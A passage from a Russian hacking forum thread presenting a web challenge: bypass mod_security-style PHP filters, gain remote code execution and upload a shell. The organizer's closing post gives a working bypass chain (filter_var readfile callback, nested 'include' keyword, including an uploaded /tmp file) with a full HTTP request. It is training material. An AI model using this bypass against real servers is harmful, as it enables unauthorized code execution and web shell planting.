1. Тот_самый_Щуп

    Тот_самый_Щуп Reservists Of Antichat

    Joined:
    23 Mar 2017
    Messages:
    265
    Likes Received:
    174
    Reputations:
    119
    123.jpg


    Задача: есть параметр уязвимый к RCE, но провести полноценную атаку мешают фильтры, которые сводят угрозу выполнения произвольного кода к минимуму.
    На сайте есть врайтабельная папка. Вам предлагается обойти фильтры, выполнить произвольный PHP код и залить "шелла" в эту самую врайтабельную папку.

    Таск основан на реальных фильтрах mod_security, с некоторыми авторскими модификациями ;)

    Решением будет считаться код, с помощью которого можно будет залить "шелла" во врайтабельную папку.
    Отдельно выполненные команды типа phpinfo() - не считаются.
    Брутить и сканить ничего не нужно.
    Сложность и креативность решения будет оцениваться отдельно. Данный таск можно пройти разными вариантами исполнения.


    Срок:
    две недели.

    Таргет:
    http://task12.antichat.xyz


    Правила остаются прежними:
    В теме не флудим, подсказки разрешены только от ТС.

    Прошли:
    crlf
    neur0funk
    Baskin-Robbins
    Shubka75
    Раrаdох
    Hulkus
    MichelleBoxing
    joelblack
    ckpunmkug
    Harakternik
    look2009

    fandor9


     
    #1 Тот_самый_Щуп, 2 Sep 2020
    Last edited: 14 Sep 2020
    1. Тот_самый_Щуп

      Тот_самый_Щуп Reservists Of Antichat

      Joined:
      23 Mar 2017
      Messages:
      265
      Likes Received:
      174
      Reputations:
      119
      Первый прошедший уже есть!
       
      Spinus likes this.
      1. crlf

        crlf Green member

        Joined:
        18 Mar 2016
        Messages:
        684
        Likes Received:
        1,516
        Reputations:
        460
        Изи таск :)
         
        Spinus, Shubka75, Hulkus and 2 others like this.
        1. neur0funk

          neur0funk Member

          Joined:
          9 May 2018
          Messages:
          22
          Likes Received:
          18
          Reputations:
          12
          done
           
          Spinus, Hulkus, Shubka75 and 4 others like this.
          1. dooble

            dooble Members of Antichat

            Joined:
            30 Dec 2016
            Messages:
            231
            Likes Received:
            601
            Reputations:
            145
            Как справедливо заметил Crlf, это изи-таск.
            Но у задания хороший потенциал:

            во-первых, RCE - всегда интересно, а обход фильтров - классика жанра
            во-вторых, автор таска моделирует реальный случай, но оставил больше вариантов решения, чем имел сам.
            в-третьих, решений много, в т.ч. есть и интересные.
            в-четвертых, даже самое простое решение требует твоего включения и "повтыкать", скушно не будет.

            Обращаюсь к паблику: Crlf`ами не рождаются, ими становятся. Вот Вам первая ступенька - CRLF[Level1].
            И хорошая возможность - шагнуть на эту ступеньку.

            А для Крлфов высокого уровня тоже есть варианты, возможно мы их увидим.
            Как показывает практика, все мы сначала ищем простые решения, но для спеца 80-го уровня они начинаются не с первого, а примерно с 75 - 76, поэтому ждем их тоже.
             
            1. Shubka75

              Shubka75 Elder - Старейшина

              Joined:
              24 Sep 2015
              Messages:
              94
              Likes Received:
              57
              Reputations:
              30
              Прошел таск :)
               
              Spinus, Hulkus, Раrаdох and 2 others like this.
              1. Раrаdох

                Раrаdох Elder - Старейшина

                Joined:
                30 Jan 2014
                Messages:
                95
                Likes Received:
                140
                Reputations:
                33
                Спасибо за задачу! Выбранное мной решение оказалось не сложным.
                 
                Spinus, seostock, Hulkus and 2 others like this.
                1. Hulkus

                  Hulkus Member

                  Joined:
                  28 Feb 2019
                  Messages:
                  29
                  Likes Received:
                  6
                  Reputations:
                  8
                  Прошел)
                   
                  1. joelblack

                    joelblack Reservists Of Antichat

                    Joined:
                    6 Jul 2015
                    Messages:
                    244
                    Likes Received:
                    450
                    Reputations:
                    145
                    Спасибо за таск:)
                     
                    1. ckpunmkug

                      ckpunmkug Member

                      Joined:
                      20 Mar 2017
                      Messages:
                      73
                      Likes Received:
                      72
                      Reputations:
                      10
                      Прошел. Отличный таск. Спасибо.
                       
                      #10 ckpunmkug, 4 Sep 2020
                      Last edited: 4 Sep 2020
                      1. MichelleBoxing

                        MichelleBoxing Reservists Of Antichat

                        Joined:
                        12 Nov 2018
                        Messages:
                        19
                        Likes Received:
                        32
                        Reputations:
                        57
                        Спасибо за таск
                         
                        Spinus, Раrаdох, crlf and 4 others like this.
                        1. Harakternik

                          Harakternik Member

                          Joined:
                          21 Jan 2010
                          Messages:
                          8
                          Likes Received:
                          6
                          Reputations:
                          8
                          Прошел за 2.5 часа.
                          Спасибо за task.
                           
                          1. look2009

                            look2009 Member

                            Joined:
                            3 Jun 2009
                            Messages:
                            80
                            Likes Received:
                            63
                            Reputations:
                            5
                            Готово. Спасибо.
                             
                            1. fandor9

                              fandor9 Reservists Of Antichat

                              Joined:
                              16 Nov 2018
                              Messages:
                              630
                              Likes Received:
                              1,050
                              Reputations:
                              47
                              Шел залил. Спасибо за задачу!
                               
                              1. Тот_самый_Щуп

                                Тот_самый_Щуп Reservists Of Antichat

                                Joined:
                                23 Mar 2017
                                Messages:
                                265
                                Likes Received:
                                174
                                Reputations:
                                119
                                Если кому нужно дополнительное время, пишите в ЛС. Таск скоро закрывается
                                 
                                1. Тот_самый_Щуп

                                  Тот_самый_Щуп Reservists Of Antichat

                                  Joined:
                                  23 Mar 2017
                                  Messages:
                                  265
                                  Likes Received:
                                  174
                                  Reputations:
                                  119
                                  Таск закрыт. Решения участников будут чуть позже.
                                   
                                  1. Тот_самый_Щуп

                                    Тот_самый_Щуп Reservists Of Antichat

                                    Joined:
                                    23 Mar 2017
                                    Messages:
                                    265
                                    Likes Received:
                                    174
                                    Reputations:
                                    119
                                    За идею для таска была взята основа конфигурации mod_security с одного ресурса.
                                    Конфигурацию перенесли в виде регулярок на PHP, но кое что было не учтено, что в свою очередь привело к большому количеству всевозможных решений ))

                                    Изначально решение таска планировалось таким.
                                    Заблокированы практически все функции, которые необходимы для заливки шелла, или полноценного выполнения кода, поэтому пришлось бы поискать, что не заблокировано.
                                    mod_security в нашем случае не блокировал callback функции filter_
                                    Одной из таких функций мы можем воспользоваться для чтения файлов, и прочитаем сами себя:
                                    filter_var("index.php", FILTER_CALLBACK,array("options"=>"readfile"));
                                    Получаем исходный код самого скрипта, смотрим его, и видим кривую регулярку:
                                    Code:
                                    $vuln_entry = preg_replace('/(assert|include|eval|require)/is','',$vuln_entry);
                                    Обращаем внимание, что функции assert,eval находятся в запрещенном списке $disable_function_names, но остальные две, include и require - нет.
                                    По сути использовать include или require мешает эта регулярка, но она легко обходится, например так: inclincludeude
                                    Теперь, когда мы можем использовать include, надо подумать, как через неё проэксплуатировать полноценный RCE код.
                                    Врапперы в PHP для include\require по умолчанию отключены, поэтому остается вариант загрузить файл на сервер, и его проинклудить.
                                    Это можно сделать через трюк с загрузкой файла, и пока он находится во временной папке /tmp/ то проинклудить его через scandir подобрав массив.
                                    Выглядит это следующим образом:
                                    Code:
                                    include('/tmp/'.scandir('/tmp/')[6]);
                                    Соответственно формируем специальный http заголовок, и посылаем это на сервер:
                                    Code:
                                    POST / HTTP/1.1
                                    Host: task12.antichat.xyz
                                    User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0
                                    Content-Type: multipart/form-data; boundary=---------------------------cd34e5c25fdd9f588c11127a23284
                                    Content-Length: 403
                                     
                                    -----------------------------cd34e5c25fdd9f588c11127a23284
                                    Content-Disposition: form-data; name="x"; filename="1.jpg"
                                    Content-Type: image/jpeg
                                     
                                    <?php die('included_546556'); ?>
                                    -----------------------------cd34e5c25fdd9f588c11127a23284
                                    Content-Disposition: form-data; name="rce"
                                     
                                    $b=inclincludeude('/tmp/'.scandir('/tmp/')[6]);die();
                                    -----------------------------cd34e5c25fdd9f588c11127a23284--
                                    
                                    И уже имеем полноценный RCE который ничем не блокируется.

                                    Как я уже писал ранее, из за небольшого косяка с переносом правил mod_security на площадку таска, его можно зарешать и множеством других вариантов.

                                    Сами решения участников:

                                    Решения интересные, многие из которых могут помочь в реальных условиях фильтрации RCE разными WAF системами.
                                    В общем, все молодцы.
                                     
                                    #17 Тот_самый_Щуп, 19 Sep 2020
                                    Last edited: 20 Sep 2020